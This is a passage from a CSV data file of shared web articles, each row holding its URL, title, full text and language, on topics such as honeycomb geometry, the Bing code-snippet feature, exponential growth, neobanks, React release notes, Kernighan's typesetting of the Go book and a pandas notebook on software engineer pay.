apaixonado pelo futebol europeu.",pt
1460204155,CONTENT SHARED,3218993154926038233,-1032019229384696495,252674282162421189,,,,HTML,http://nautil.us/issue/35/boundaries/why-nature-prefers-hexagons,Why Nature Prefers Hexagons - Issue 35: Boundaries - Nautilus,"How do bees do it? The honeycombs in which they store their amber nectar are marvels of precision engineering, an array of prism-shaped cells with a perfectly hexagonal cross-section. The wax walls are made with a very precise thickness, the cells are gently tilted from the horizontal to prevent the viscous honey from running out, and the entire comb is aligned with the Earth's magnetic field. Yet this structure is made without any blueprint or foresight, by many bees working simultaneously and somehow coordinating their efforts to avoid mismatched cells. The ancient Greek philosopher Pappus of Alexandria thought that the bees must be endowed with ""a certain geometrical forethought."" And who could have given them this wisdom, but God? According to William Kirby in 1852, bees are ""Heaven-instructed mathematicians."" Charles Darwin wasn't so sure, and he conducted experiments to establish whether bees are able to build perfect honeycombs using nothing but evolved and inherited instincts, as his theory of evolution would imply. Why hexagons, though? It's a simple matter of geometry. If you want to pack together cells that are identical in shape and size so that they fill all of a flat plane, only three regular shapes (with all sides and angles identical) will work: equilateral triangles, squares, and hexagons. Of these, hexagonal cells require the least total length of wall, compared with triangles or squares of the same area. So it makes sense that bees would choose hexagons, since making wax costs them energy, and they will want to use up as little as possible-just as builders might want to save on the cost of bricks. This was understood in the 18th century, and Darwin declared that the hexagonal honeycomb is ""absolutely perfect in economizing labor and wax."" Darwin thought that natural selection had endowed bees with instincts for making these wax chambers, which had the advantage of requiring less energy and time than those with other shapes. But even though bees do seem to possess specialized abilities to measure angles and wall thickness, not everyone agrees about how much they have to rely on them. That's because making hexagonal arrays of cells is something that nature does anyway. If you blow a layer of bubbles on the surface of water-a so-called ""bubble raft""-the bubbles become hexagonal, or almost so. You'll never find a raft of square bubbles: If four bubble walls come together, they instantly rearrange into three-wall junctions with more or less equal angles of 120 degrees between them, like the center of the Mercedes-Benz symbol. Evidently there are no agents shaping these rafts as bees do with their combs. All that's guiding the pattern are the laws of physics. Those laws evidently have definite preferences, such as the bias toward three-way junctions of bubble walls. The same is true of more complicated foams. If you pile up bubbles in three dimensions by blowing through a straw into a bowl of soapy water you'll see that when bubble walls meet at a vertex, it's always a four-way union with angles between the intersecting films roughly equal to about 109 degrees-an angle related to the four-faceted geometric tetrahedron. What determines these rules of soap-film junctions and bubble shapes? Nature is even more concerned about economy than the bees are. Bubbles and soap films are made of water (with a skin of soap molecules) and surface tension pulls at the liquid surface to give it as small an area as possible. That's why raindrops are spherical (more or less) as they fall: A sphere has less surface area than any other shape with the same volume. On a waxy leaf, droplets of water retract into little beads for the same reason. This surface tension explains the patterns of bubble rafts and foams. The foam will seek to find the structure that has the lowest total surface tension, which means the least area of soap-film wall. But the configuration of bubble walls also has to be mechanically stable: The tugs in different directions at a junction have to balance perfectly, just as the forces must be balanced in the walls of a cathedral if the building is going to stand up. The three-way junction in a bubble raft, and the four-way junctions in foam, are the configurations that achieve this balance. But those who think (as some do) that the honeycomb is just a solidified bubble raft of soft wax might have trouble explaining how the same hexagonal array of cells is found in the nests of paper wasps, who build not with wax but with chewed-up wads of fibrous wood and plant stem, from which they make a kind of paper. Not only can surface tension have little effect here, but it also seems clear that different types of wasp have different inherited instincts for their architectural designs, which can vary significantly from one species to another. Although the geometry of soap-film junctions is dictated by this interplay of mechanical forces, it doesn't tell us what the shape of the foam will be. A typical foam contains polyhedral cells of many different shapes and sizes. Look closely and you'll see that their edges are rarely perfectly straight; they're a little curved. That's because the pressure of the gas inside a cell or bubble gets bigger as the bubble gets smaller, so the wall of a small bubble next to a larger one will bulge outward slightly. What's more, some facets have five sides, some six, and some just four or even three. With a little bending of the walls, all of these shapes can acquire four-way junctions close to the ""tetrahedral"" arrangement needed for mechanical stability. So there's a fair bit of flexibility (literally) in the shapes of the cells. Foams, while subject to geometrical rules, are rather disorderly. Suppose that you could make a ""perfect"" foam in which all the bubbles are the same size. What then is the ideal cell shape that makes the total bubble wall area as small as possible while satisfying the demands for the angles at the junctions? That has been debated for many years, and for a long time it was thought that the ideal cell shape was a 14-sided polyhedron with square and hexagonal faces. But in 1993 a slightly more economical-although less orderly-structure was discovered, consisting of a repeating group of eight different cell shapes. This more complex pattern was used as the inspiration for the foam-like design of the swimming stadium of the 2008 Olympic Games in Beijing. The rules of cell shapes in foams also control some of the patterns seen in living cells. Not only does a fly's compound eye show the same hexagonal packing of facets as a bubble raft, but the light-sensitive cells within each of the individual lenses are also clustered in groups of four that look just like soap bubbles. In mutant flies with more than four of these cells per cluster, the arrangements are also more or less identical to those that bubbles would adopt. Because of surface tension, a soap film stretching across a loop of wire is pulled flat like the springy membrane of a trampoline. If the wire frame is bent, the film also bends with an elegant contour that automatically tells you the most economical way, in terms of material, to cover over the space enclosed by the frame. That can show an architect how to make a roof for a complicated structure using the least amount of material. However, it's as much because of the beauty and elegance of these so-called ""minimal surfaces,"" as because of their economy that architects such as Frei Otto have used them in their buildings. These surfaces minimize not only their surface area, but also their total curvature. The tighter the bend, the greater the curvature. Curvature can be positive (bulges) or negative (dips, depressions, and saddles). A curved surface can therefore have zero mean curvature so long as the positives and negatives cancel each other out. So a sheet can be full of curvature and yet have very little or even no mean curvature. Such a minimally curved surface can divide up space into an orderly labyrinth of passageways and channels-a network. These are called periodic minimal surfaces. (Periodic just means a structure that repeats identically again and again, or in other words, a regular pattern.) When such patterns were discovered in the 19th century, they seemed to be just a mathematical curiosity. But now we know that nature makes use of them. The cells of many different types of organisms, from plants to lampreys to rats, contain membranes with microscopic structures like this. No one knows what they are for, but they are so widespread that it's fair to assume they have some sort of useful role. Perhaps they isolate one biochemical process from another, avoiding crosstalk and interference. Or maybe they are just an efficient way of creating lots of ""work surface,"" since many biochemical processes take place at the surface of membranes, where enzymes and other active molecules may be embedded. Whatever its function, you don't need complicated genetic instructions to create such a labyrinth: The laws of physics will do it for you. Some butterflies, such as the European green hairstreak and the emerald-patched cattleheart, have wing scales containing an orderly labyrinth of the tough material called chitin, shaped like a particular periodic minimal surface called the gyroid. Interference between light waves bouncing regular arrays of ridges and other structures on the wing-scale surface causes some wavelengths-that is, some colors-to disappear while others reinforce each other. So here the patterns offer a means of producing animal color. The skeleton of the sea urchin Cidaris rugosa is a porous mesh with the shape of another kind of periodic minimal surface. It's actually an exoskeleton, sitting outside the organism's soft tissue, a protective shell that sprouts dangerous-looking spines made from the same mineral as chalk and marble. The open lattice structure means that the material is strong without being too heavy, rather like the metal foams used for building aircraft. To make orderly networks from hard, stiff mineral, these organisms apparently make a mold from soft, flexible membranes and then crystallize the hard material inside one of the interpenetrating networks. Other creatures may cast orderly mineral foams this way for more sophisticated purposes. Because of the way that light bounces off the elements of the patterned structure, such trellises can act rather like mirrors to confine and guide light. A honeycomb arrangement of hollow microscopic channels within the chitin spines of a peculiar marine worm known as the sea mouse turns these hair-like structures into natural optical fibers that can channel light, making the creature change from red to bluish green depending on the direction of the illumination. This color change might serve to deter predators. This principle of using soft tissues and membranes as molds for forming patterned mineral exoskeletons is widely used in the sea. Some sponges have exoskeletons made of bars of mineral linked like climbing frames, which look remarkably similar to the patterns formed by the edges and junctions of soap films in foam-no coincidence, if surface tension dictates the architecture. Such processes, known as biomineralization, generate spectacular results in marine organisms called radiolarians and diatoms. Some of these have delicately patterned exoskeletons made from a mesh of mineral hexagons and pentagons: You might call them the honeycombs of the sea. When the German biologist (and talented artist) Ernst Haeckel first saw their shapes in a microscope in the late 19th century, he made them the star attraction of a portfolio of drawings called Art Forms in Nature , which were very influential among artists of the early 20th century and still inspire admiration today. To Haeckel, they seemed to offer evidence of a fundamental creativity and artistry in the natural world-a preference for order and pattern built into the very laws of nature. Even if we don't subscribe to that notion now, there's something in Haeckel's conviction that patterns are an irrepressible impulse of the natural world-one that we have every right to find beautiful. Philip Ball is the author of Invisible: The Dangerous Allure of the Unseen and many books on science and art. Reprinted with permission from Patterns in Nature: Why the Natural World Looks the Way It Does , by Philip Ball, published by The University of Chicago Press. © 2016 by Marshall Editions. All rights reserved.",en
1460252917,CONTENT SHARED,2546734694784514225,4402305355102966434,2188592428867600594,,,,HTML,http://techcrunch.com/2016/04/07/microsoft-and-hackerrank-bring-executable-code-snippets-to-bings-search-results-pages/,Microsoft and HackerRank bring executable code snippets to Bing's search results pages,"Sooner or later, every programmer ends up searching for code snippets and algorithms. Most search engines, though, don't exactly specialize in code search and so you end up with a couple of links (one of them most likely to StackOverflow). Now, Microsoft has partnered with HackerRank to bring code snippets right into its Bing search results pages - and as an added twist, you can also edit and execute this code right on those pages, too. To trigger this, all you have to do is search for something like "" string concat C# "" or a similar question and Bing will pop up the editor for you. Using the widget, you can also switch to other languages as well. Depending on the algorithm you're looking for, the options here include C, C++, C#, Python, PHP, and Java. HackerRank co-founder Vivek Ravisankar tells me the project currently features over 80 code snippets that focus on the most commonly searched terms. Microsoft is positioning this as both a productivity and learning tool. ""In addition to learning how a certain algorithm/code is written in a given language, users will also be able to check how the same solution is constructed in a range of other programming languages too - providing a Rosetta-stone model for programming languages,"" says Marcelo De Barros, Group Engineering Manager for the UX Features and Shared Tools at Bing. If you're a Visual Studio user, it's also worth checking out Microsoft's Developer Assistant plugin (previously known as the Bing Code Search add-on ), which allows you to find and reuse over 21 million code snippets and samples right from within the IDE.",en
1460314629,CONTENT SHARED,2695065703077082407,-1032019229384696495,-4541807805008745864,,,,HTML,http://singularityhub.com/2016/04/05/how-to-think-exponentially-and-better-predict-the-future/,How to Think Exponentially and Better Predict the Future,"10,048 7 ""The future is widely misunderstood. Our forebears expected it to be pretty much like their present, which had been pretty much like their past."" -Ray Kurzweil, The Singularity Is Near We humans aren't great predictors of the future. For most of history, our experience has been ""local and linear."" Not much change occurred generation to generation: We used the same tools, ate the same meals, lived in the same general place. As a result, we've developed an intuitive outlook of the future akin to how we approach a staircase-having climbed a number of steps, our prediction of what's to come is simply steps followed by more steps, with each day expected to be roughly like the last. But, as Ray Kurzweil describes in The Singularity Is Near , the rapid growth of technology is actually accelerating progress across a host of domains . This has led to unexpected degrees of technological and social change occurring not only between generations, but within them. Against our intuition, today the future is unfolding not linearly but exponentially, making it challenging to predict just what will happen next and when. This is why the pace of technological progress tends to surprise us, and we find ourselves in situations like this: How do we prepare for a future tracking to exponential trends, if we aren't accustomed to thinking this way? Let's start with the basics of exponential growth. What is exponential growth? Unlike linear growth, which results from repeatedly adding a constant, exponential growth is the repeated multiplication of a constant. This is why linear growth produces a stable straight line over time, but exponential growth skyrockets. Here's another way to think about it: imagine you are going to walk down a road taking steps a meter in length. You take 6 steps, and you've progressed six meters (1, 2, 3, 4, 5, 6). After 24 more steps, you're 30 meters from where you began. It's easy to predict where 30 more steps will get you-that's the simplicity of linear growth. However, setting anatomy aside, imagine you could double the length of your stride. Now when you take six steps, you've actually progressed 32 meters (1, 2, 4, 8, 16, 32), which is significantly more than the 6 meters you'd move with equal steps. Amazingly, by step number 30, doubling your stride will put you a billion meters from where you started, a distance equal to twenty-six trips around the world. That's the surprising, unintuitive power of exponential growth. Exponential growth is deceptive, then explosive What's interesting about exponential growth is that when you double your stride, you progress the same distance with each step as all the previous steps combined. Before you hit a billion miles at step 30, you're at 500 million miles at step 29. That means that any of your previous steps look minuscule compared with the last few steps of explosive growth, and most of the growth happens over a relatively short period of time. Another example: let's say you want to get to a certain location and you're going to double your stride again to get there. Progress toward your destination appears distant at one percent of the way there, but in fact, you're only seven steps (or doublings) away-and much of all that progress happens in the last step. The point is we often miss exponential trends in their early stages because the initial pace of exponential growth is deceptive-it begins slow and steady and is hard to differentiate from linear growth. Hence, predictions based on the expectation of an exponential pace can seem improbable. Ray Kurzweil gives this example: ""When the human genome scan got underway in 1990 critics pointed out that given the speed with which the genome could then be scanned, it would take thousands of years to finish the project. Yet the fifteen-year project was completed slightly ahead of schedule, with a first draft in 2003."" Here's a great visual of exponential growth's deceptive then explosive nature in computers. See how most of the progress happens right at the end after years of doubling? Will exponential growth eventually end? In practice, exponential trends do not last forever. However, some trends can continue for long periods, driven along by successive technological paradigms. A broad exponential trend, computing for example, is made up of a series of consecutive S-shaped technological life cycles, or S-curves . Each curve looks like the letter 'S' because of the three growth stages it represents-initial slow growth, explosive growth, and leveling off as the technology matures. These S-curves overlap, and when one technology slows, a new one takes over and speeds up. With each new S-curve, the amount of time it takes to reach higher levels of performance is less. Kurzweil lists five computing paradigms in the 20th century: electromechanical, relay, vacuum tubes, discrete transistors, and integrated circuits. When one technology exhausted its potential, the next took over making more progress than its predecessors. Planning for an exponential future ""[T]he future will be far more surprising than most people realize, because few observers have truly internalized the implications of the fact that the rate of change itself is accelerating."" Ray Kurzweil, The Singularity Is Near The rule of thumb here is: expect to be surprised, then plan accordingly. For example, what might the next five years look like? One way to forecast them would be to look at the last five and extend this pace forward. By now, the problem with this thinking should be clear: The pace itself is changing. A better forecast would be to look at the last five and then reduce the time it will take to make a similar amount of progress in the next five. It's more likely that what you think will happen in the next five years will actually happen in the next three. The practice of exponential thinking isn't really about the ins and outs of how you plan-you know how to do that-it's about better timing your plan (whatever it may be) . In fact, Kurzweil's law of accelerating returns arose from very practical of origins. ""As an inventor in the 1970s, I came to realize that my inventions needed to make sense in terms of the enabling technologies and market forces that would exist when the inventions were introduced, as that world would be a very different one from the one in which they were conceived,"" Kurzweil wrote in the Singularity Is Near . With a little practice, we can all make better plans by becoming consciously aware of our intuitive, linear expectations and adjusting them for an exponential future. Why is learning to think exponentially valuable? This isn't just an interesting concept-our linear brains can get us into real trouble. Thinking linearly causes businesses, governments, and individuals to get blindsided by factors that trend to exponential growth. Big firms get disrupted by new competition; governments struggle to keep policy current; all of us worry our future is out of control. Exponential thinking reduces some of this disruptive stress and reveals new opportunities. If we can better plan for the accelerating pace, we can ease the transition from one paradigm to the next, and greet the future in stride. To learn more about the exponential pace of technology and Ray Kurzweil's predictions , read his 2001 essay "" The Law of Accelerating Returns "" and his book, The Singularity Is Near . Banner image credit: Shutterstock.com",en
1460318075,CONTENT SHARED,2296515698565489277,3217014177234377440,5989530392219295514,,,,HTML,http://www.businessinsider.com/atom-bank-launches-in-the-uk-2016-4?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+typepad%2Falleyinsider%2Fsilicon_alley_insider+%28Silicon+Alley+Insider%29?r=UK&IR=T,App-only bank Atom just launched - here's what it looks like,"Atom Bank Atom Bank has officially launched its iPhone and iPad app - the only way you'll be able to interact with the new bank. The app is built on the Unity gaming platform and promises to use voice and face biometrics for login - essentially analysing a selfie or a voice clip to make sure you are who you say you are. The bank says it will also use machine learning and AI to help optimise its customer service team, another way Atom is using innovative technology. Atom CEO Mark Mullen says in a release announcing the launch: This is the start of a remarkable transformation of the banking landscape for everyone. Atom aims to offer a genuine alternative to the insidious and self-interested banks that dominate the UK banking landscape. Our approach will be to constantly evolve and extend our offering, with monthly updates to our App and a dedication to providing a better value, greater transparency and a much more innovative banking experience. Mullen joined Atom as CEO in April 2014 . Prior to joining the startup he was CEO of HSBC's online and telephone bank First Direct. Atom's Founder and Chairman Anthony Thomson says in the press release: During 2016, Atom will be unveiling a further range of products and continuous App enhancements, with a phased roll-out of services throughout the year. By the end of 2016, customers will have access to fixed savings, current accounts, overdrafts, debit and credit cards, instant access savings and residential mortgages, all serviced via the App. Atom is one of a number of app-only banks, known as neobanks, launching this year in the UK. Others include Mondo , Starling Bank , and Tandem . Tandem yesterday launched an initiative to find ""co-founders"" of the bank, giving away shares in the bank in exchange for customer feedback and help designing the products . While all have yet to fully launch, Atom, based in Durham, is already worth £150 million, after Spanish banking group BBVA invested £45 million in November . Atom's app is currently available to people who have pre-registered interest on the company's website and is only available on iPhone and iPad. An Android version is coming soon. Here's what the app looks like on the inside:",en
1460375368,CONTENT SHARED,-6625273991455881177,-1443636648652872475,7442929424423235545,,,,HTML,https://www.linkedin.com/pulse/meet-man-behind-rise-bots-our-ai-driven-future-caroline-fairchild,Meet the man behind the rise of bots and our AI-driven future,"For two straight quarters, deal activity in artificial intelligence has hit record highs . Dennis Mortensen is one of the biggest winners in all the craze. His startup x.ai is the creator of Amy Ingram, an AI-driven personal assistant that can schedule meetings for you. After testing Amy in beta for two years, Mortensen announced last week $23 million in Series B funding to bring Amy to market. In an interview, I chatted with Mortensen about the differences between Amy and Siri, the fundraising market right now and the future of AI. Edited excerpts: Caroline Fairchild: Why all the AI hype right now? Dennis Mortensen: AI used to be for academia only and decade-long research. We thought one day we might wake up and have this oracle or human-level AI with which we could converse with. We have realized this might not happen, but we might be able to create these specialized or ""verticalized"" AI tools where we can build AI to do one thing really well. It could be Amy scheduling a meeting or Facebook finding all the pixels in your image. That wasn't fact half a decade ago. We realized we could turn those little jobs into potentially big companies and now everyone is working on their little aspect of that. CF: How do x.ai's offerings stand out? DM: There is a distinction between asking Siri what the time is in Singapore and Amy setting up a meeting for me tomorrow afternoon. Amy needs to understand what you asked her to do, what the constraints are, who the people are that are involved with the task and what her next step is. That is not to say we are better or smarter than the tech at Siri, but I like the idea that we have the piece of software where you are not being assisted. I like this shift from doing something a little faster or more accurate to handing over the full job and walking away. That is our bet. That is where we are slightly different than some of the other players. CF: Given the slowdown in VC funding overall, it's an interesting time to be in a hot market. What did the funding process feel like on the ground? DM: It's always difficult to raise money unless you are Snapchat or Instagram. It is hard work. They have these wonderful websites and conferences where investors tell people how their goal in life is to invest in the future. But once you sit in the room and ask for $25 million, it is not about bold ideas; it is about spreadsheets. They want their money back. It is getting even harder because for these initial machine-learning startups, the amount of effort you need to apply is a little bit more than your traditional startup. It is not a weekend hackathon. It is not three months in Palo Alto with Paul Graham. It is a year-long endeavor and you have to accept that as an investor. Our lead investor has 250 PhDs on staff, so they appreciate what we do and they are not confused with the direction we are taking here. CF: Do you feel like it was more challenging raising from the East Coast? DM: If you look at what we do, the ambitions that we have and the amount of money raised, all those variables are West Coast variables. We should have been a Palo Alto-type company, but we are not. We raised capital in our A round and B round above the West Coast average. Most of our investors are from the East Coast. That is a signal of times changing a little bit in the regard that if you want to do something this big, you don't have to go West. People think there is no other way than heading West. We have been able to set up, attract and grow the company on Wall Street. CF: What is the state of artificial intelligence right now? DM: The current state is one where I am personally optimistic and I think that the velocity of that optimism is increasing. CF: What will the state of artificial intelligence be in five years? DM: We will see a rather dramatic shift in how software is delivered because of AI. If you right now take a screenshot on your iPhone, let's say you have 100 apps. That count will be less in five years, maybe even half. Instead you will have a set of intelligent agents that assist you in all these jobs that you have. Friction will be reduced with what people are calling conversation AI or chat bots. This whole app economy that we know right now has hit a peak.",en
1460379355,CONTENT SHARED,7707640607626518697,-4243635261966794110,1881702425778279387,,,,VIDEO,https://www.ted.com/talks/linus_torvalds_the_mind_behind_linux,Linus Torvalds: The mind behind Linux,"Linus Torvalds transformed technology twice -- first with the Linux kernel, which helps power the Internet, and again with Git, the source code management system used by developers worldwide. In a rare interview with TED Curator Chris Anderson, Torvalds discusses with remarkable openness the personality traits that prompted his unique philosophy of work, engineering and life.",en
1460379629,CONTENT SHARED,1099809408921653201,6971525809430309144,-2972831849645232033,,,,HTML,https://facebook.github.io/react/blog/2016/04/08/react-v15.0.1.html,React v15.0.1 | React,"Yesterday afternoon we shipped v15.0.0 and quickly got some feedback about a couple of issues. We apologize for these problems and we've been working since then to make sure we get fixes into your hands as quickly as possible. The first of these issues is related to the removal of an undocumented API. This API was added to enable JSX Spread Attributes in our JS compile tools (react-tools, JSXTransformer) before Object.assign was standard. When we stopped supporting these tools last year, we kept the API there to catch the longer tail of people using those tools. Meanwhile we moved to using Babel and encouraged others to do the same. Babel will typically compile the spread use to an _extends helper, which will use Object.assign . We did not properly research other compilation tools before deciding to remove the API in v15. Specifically, TypeScript and coffee-react are two popular packages using React.__spread , as well as reactify which still makes use react-tools. In order to make sure that code compiled with these tools is not broken, we will be restoring the React.__spread API and adding a warning. It will be removed in the future so if you maintain a project making using of it, we encourage you to compile to Object.assign directly or a similar helper function. The second issue resulted in cursor position being lost in controlled inputs. We merged a pull request earlier this week to fix a separate regression from v0.14. Our goal was to target <option> elements but we ended up targeting all interactions with value properties. Unfortunately we didn't test it as thoroughly as we thought. We backed out the offending change and fixed the issue in different way which doesn't have the same problem. We apologize if you installed 15.0.0 and have encountered these issues yourselves. As usual, you can get install the react package via npm or download a browser bundle. Restore React.__spread API to unbreak code compiled with some tools making use of this undocumented API. It is now officially deprecated. Fixed issue resulting in loss of cursor position in controlled inputs.",en
1460385043,CONTENT SHARED,-1418355038507506357,-2979881261169775358,-7769347963459582954,,,,HTML,http://www.ibtimes.com/intel-reveals-its-plan-blockchain-technology-sawtooth-lake-distributed-ledger-2350599,Intel Reveals Its Plan For Blockchain Technology With 'Sawtooth Lake' Distributed Ledger,"Photo: JUSTIN SULLIVAN/GETTY IMAGES Intel thinks a lot of companies can benefit from the blockchain technology on which the virtual currency bitcoin is based. The chipmaker published its own plan Friday to develop a version of a distributed ledger, the Sawtooth Lake platform, which promises to allow a wide variety of companies that have no need for a central authority essentially to run their own blockchain, providing a permanent digital record. Intel is proposing the code for Sawtooth Lake, described by the company as a ""highly modular platform for building, deploying and running distributed ledgers,"" be submitted to the open-source Hyperledger blockchain project, which was established in December. Intel has published the code on GitHub but warns those planning to use it that it's still very much in the experimental phase. ""This project is intended for experimental usage and we recommend against using it for security sensitive applications,"" the company said in a detailed post explaining how the system works. Bitcoin is the world's most popular distributed ledger but the technology - called blockchain - has become one of the hottest topics in the tech and financial worlds in the last 12 months, with almost all major financial institutions putting resources into developing systems built on top of it. Intel previously displayed similar technology when it created a fantasy sports marketplace where users would ""exchange digitized shares in sports teams and seek to accrue the highest amount of a virtual currency called 'mikkels,' "" CoinDesk reported. Intel says the uses for its Sawtooth Lake platform could include international remittance, insurance claim processing, supply chain management and the internet of things (IoT). Earlier this week IBM revealed it was working on combining its Watson artificial intelligence division with blockchain technology to boost the security of IoT devices. The HyperLedger Project is a collaborative effort created by the Linux Foundation to help establish an open, distributed ledger platform to ""satisfy a variety of use cases across multiple industries to streamline business processes."" Last week the project announced 10 new members bringing the total to 40, with companies like IBM, Blockstream and Thompson Reuters among the group. ""The Hyperledger Project is gaining traction on a daily basis, displaying how vital this effort is in advancing distributed ledger technology,"" said former JP Morgan executive Blythe Masters, who is now CEO of Digital Asset Holdings.",en
1460385054,CONTENT SHARED,-776023644693624658,-2979881261169775358,-7769347963459582954,,,,HTML,https://rkrishnan.org/posts/2016-03-07-how-is-gopl-typeset.html,"Brian Kernighan on the typesetting of ""The Go Programming Language"" book","Posted on March 7, 2016 by rkrishnan golang, typesetting, unix A while ago, I bought the book "" The Go Programming Language "" written by Alan Donovan and Brian Kernighan. I have always been a fan of Brian Kernighan's writings. I should admit that I bought the book mainly for his great examples and writings than for the Go language itself, but since then have got interested in the Go Language, after starting to read the book. Perhaps every programmer knows Brian Kernighan as the ""K"" in the famous K&R book. He has also written a bunch of other great books, most of them are on my shelf, including some which are out of print. My other favourites are ""Software tools"" book and the ""AWK programming language"" book. Brian is also the ""K"" in ""AWK"" language. Sure enough, the book does not disappoint at all. The way the language features are described and the ""story"" developed is something every programming language book author could try to emulate. One of the features of Prof. Kernighan's books is that the first chapter is a tour of the language features and gives a good taste of the syntax of the language, leaving the readers with enough knowledge to mess around with the language and start writing complete programs. The thing that stood out the most in my eyes was the outstanding quality of the type setting. Everything seemed just right. Some (or most?) readers take typesetting of the programming books very seriously. There is this joke that Donald Knuth ""inventing"" or writing the TeX is the biggest yak shaving in the history of computing. The story is that Prof. Knuth couldn't stand the poor quality of type setting at that time and decided to fix it and then resume his original goal of writing the TAOCP books. One of the early goofups in typesetting is also incidentally in the K&R Book, written by Brian Kernighan, brought to my attention by my friend and colleague, Olve Maudal . A number of readers of the K&R C 2nd edition book believed that pointers and arrays are the same, due to this error. Okay, that aside, I emailed Prof. Kernighan about the tools he used to type set the book. There is a brief mention about it in the copyright page. But that didn't satisfy me much. Here is what I wrote, on 28th Feb, 2016: Dear Prof. Kernighan, The Go programming language book is so beautifully typeset. To my eyes, it is more beautiful than those LaTeX based ones. But that's just my perception.. Could you please say a few things about how your writing flow was and how you type set the book? I see the tools used in the copyright page. Thanks -- Ramakrishnan The reply came a few hours later on the same day. Reproduced here with permission from Prof. Kernighan. Hi, Ramakrishnan -- Thanks for the kind words on the typography. The core formatting is just troff (groff, really) with the -ms macro package. We tried Latex briefly but neither Alan or I care for its output, and I personally find it impossible to control. Troff is the devil I know -- it's ugly and irregular in many ways but it will put characters where you want them. The input was in XML, with a tag set of about 25 items for headings, paragraphs, index terms, program insertion, simple tables, and the like. A Go program converted this either into HTML for rapid viewing on the screen and potentially for an e-book version, or into troff for printing. Using XML was a mild nuisance when writing but the error checking was very helpful. We wrote a variety of small Go programs and scripts to fix things up, including one that rewrites troff output to do vertical justification so all pages are the same height. There is also some fiddling with the generated postscript to put on printer's marks. The fonts are Alan's choice, the result of a lot of work on his part to find them and get the right sizes and appearances. The handful of Asian characters were tough to get right; troff doesn't do wide Unicode characters properly, and there are a few places where we rewrote text to hide that fact. The drawings are all Alan's work, using Google's drawing program. We toyed briefly with using pic but it wasn't really up to the job, and it would not have worked with HTML without a lot of work. We avoided mathematics beyond superscripts, and the tables are pretty limited; eqn and tbl would have been ok but again would not have dealt with HTML. We should probably write a more organized description of what we did and make the tools available, though I think most readers are less interested in the process than you (and I) are. The other thing is that although one starts with grand ideas of being clean and orderly, by the end the process is somewhat of a mess, with a complicated makefile to keep it running. Thanks again for writing. Brian",en
1460385068,CONTENT SHARED,-4575943417765899041,-2979881261169775358,-7769347963459582954,,,,HTML,http://ramiro.org/notebook/income-software-engineers-countries/,What Software Engineers Earn Compared to the General Population,"In this notebook we'll compare the median annual income of software engineers to the average annual income (GDP per Capita) in 50 countries. It's shown how to scrape the data from a web page using lxml , turn it into a Pandas dataframe, clean it up and create scatter and bar plots with matplotlib to visualize the general trend and see which countries are the best and worst for software engineers based on how much they earn compared to the average person. The data comes from PayScale and the International Monetary Fund and was published by Bloomberg in May 2014. It includes figures for 50 countries for which data was most available to PayScale. The software engineer figures represent income data collected from May 1, 2013, to May 1, 2014, and use exchange rates from May 5, 2014. The median years of work experience for survey respondents from each country range from two to five years. Setup First we load the necessary libraries, set the plot style and some variables, including a geonamescache object for adding country codes used to link geographic data with income figures in this interactive map . %load_ext signature %matplotlib inline import os import pandas as pd import matplotlib as mpl import matplotlib.pyplot as plt import numpy as np import geonamescache from lxml import html mpl.style.use('ramiro') data_dir = os.path.expanduser('~/data') gc = geonamescache.GeonamesCache() chartinfo = '''Figures represent income data from May 2013 to May 2014 using exchange rates from May 2014. Average annual income figures are for 2014. Author: Ramiro Gómez - ramiro.org * Data: Bloomberg/PayScale - bloomberg.com/visual-data/best-and-worst/highest-paid-software-engineers-countries''' Data retrieval and cleanup To scrape the data from the web page, I looked at the source to determine a way to identify the data table. It is the only table on the page with a class of hid so the xpath expression below can be used to extract the table from the HTML source after it was loaded. url =' xpath = '//table[@class=""hid""]' tree = html.parse(url) table = tree.xpath(xpath)[0] raw_html = html.tostring(table) Pandas makes it easy to turn this raw HTML string into a dataframe. We instruct it to use the Rank column as the index and the first row as the header. The read_html function returns a list, in our case of one dataframe object, so we just grab this and print the first few rows df = pd.read_html(raw_html, header=0, index_col=0)[0] df.head() and the data types that were automatically determined by Pandas. Country object Ratio of median software engineer pay to average income float64 Median annual pay for software engineers object Average annual income object dtype: object The output above shows, that we need to do some cleanup before continuing with further exploration. The values in the Country column all end in a space followed by a t, which we just remove. Also we need to turn the dollar amounts into a numeric type for use in calculations and plots. df['Country'] = df['Country'].apply(lambda x: x.rstrip('t').strip()) for col in df.columns[2:]: df[col] = pd.to_numeric(df[col].apply(lambda x: x.lstrip('$').replace(',', ''))) df.dtypes Country object Ratio of median software engineer pay to average income float64 Median annual pay for software engineers int64 Average annual income int64 dtype: object This looks better now. As a sanity check we can test whether the ratio that is contained in the data agrees with the income numbers. To do so we calculate the ratio ourselves and compare it to the existing one. ratio = round(df['Median annual pay for software engineers'] / df['Average annual income'], 2) all(ratio == df['Ratio of median software engineer pay to average income']) Exploration and visualization Income comparison To get a holistic view we first create a scatter plot with all 50 records showing the median software engineer income on the X axis and the annual average of the whole population on the Y axis. We also draw a quadratic polynomial fitting curve to see if we can spot a trend. x = 'Median annual pay for software engineers' y = 'Average annual income' title = 'Median annual income of software engineers vs. general average in 50 countries' fig = plt.figure(figsize=(11, 9)) ax = fig.add_subplot(111) ax.plot(x, y, '.', data=df, ms=10, alpha=.7) ax.set_title(title, fontsize=20, y=1.04) ax.set_xlabel(x) ax.set_ylim(bottom=0, top=101000) ax.set_ylabel(y) # Polynomial curve fitting # polynomial = np.polynomial.Polynomial.fit(df[x], df[y], 2) xp = np.linspace(0, 120000, 100) yp = polynomial(xp) ax.plot(xp, yp, '-', lw=1, alpha=.5) fig.text(0, -.04 , chartinfo, fontsize=11) plt.show() Before interpreting this and the following plots, I'll point out a few issues with the data. We do not know how many respondents took part in the PayScale survey and we do know that their work experiences range from two to five years. Whether this sample is a good representation for the income of software engineers in the respective countries is questionable. Moreover, we compare median annual values for software engineers with mean annual values for the general population. Considering how large the income share of top earners is in several countries, annual median values for the general population might well show a different picture. With this in mind, software engineer looks like a good career choice in the majority of the 50 countries. In some of the countries we see in the lower left, mid-level software engineers earn multiples of what the average person does. But there are also countries, where software engineers earn a lot less. To find out which are the best and worst countries for software engineers with respect to income, we'll plot rankings in form of bar plots next. Country rankings In the following bar plot countries are ranked by the ratio of median software engineer pay to average income. Since our dataframe is already ordered by the ratio from high to low, we can simply use the head and tail methods to get the slices we want to show. col = 'Ratio of median software engineer pay to average income' title = 'Best and worst countries ranked by ratio of median software engineer pay to average income' limit = 10 best = df.head(limit)[::-1] worst = df.tail(limit) ticks = np.arange(limit) Now we create a plot consisting of two bar charts showing the best countries for software engineers on the left and the worst 